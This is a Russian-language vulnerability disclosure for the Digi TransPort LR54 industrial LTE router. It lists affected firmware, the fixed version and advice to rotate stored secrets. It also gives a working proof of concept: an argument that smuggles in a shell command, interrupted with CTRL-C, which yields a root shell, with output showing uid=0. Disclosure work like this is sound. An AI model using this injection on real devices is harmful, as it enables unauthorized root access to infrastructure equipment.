
Digi TransPort LR54 — это высокоскоростной LTE-маршрутизатор, обычно используемый в промышленности, инфраструктуре, розничной торговле и общественном транспорте.
Он поддерживает запуск Python-скриптов в ограниченной песочнице и имеет собственную оболочку, доступную по SSH, на которую распространяются те же ограничения. Следовательно, базовая ОС недоступна для администратора.
Я нашёл способ выйти из песочницы и получить root-оболочку, используя то, как CLI обрабатывает аргументы командной строки при выполнении Python- скриптов:
Когда интерактивный процесс Python получает SIGINT (через CTRL-C), аргументы скрипта не экранируются должным образом при передаче в обработчик журнала ошибок интерактивного CLI. Это позволяет атакующему выполнять произвольные команды от имени root.
Для эксплуатации этой уязвимости атакующему необходим интерактивный доступ к CLI с привилегиями 'super'. Пользователь с таким уровнем доступа включён по умолчанию на устройстве.
Digi Transport LR54 (и, возможно, связанные продукты, такие как WR64 и WR54)
Версия прошивки : 4.4.0.26 10/29/2018 21:14:06 Версия прошивки : 4.3.2.24 09/06/2018 00:58:34
И, возможно, более ранние версии
Пользователям следует обновить прошивку до версии 4.5.1.4 или новее. Секреты, хранящиеся на устройстве, такие как приватные ключи и парольные фразы, следует сменить в качестве меры предосторожности.
sleep.py на LR54 с помощью scp или sftp, содержащий:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Сразу после запуска программы нажмите CTRL-C
После этого вы попадёте в интерактивную root-оболочку
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Уязвимость обнаружена Stig Palmquist.
Спасибо @duniel_pls и @alexanderkjall за проверку этого отчёта.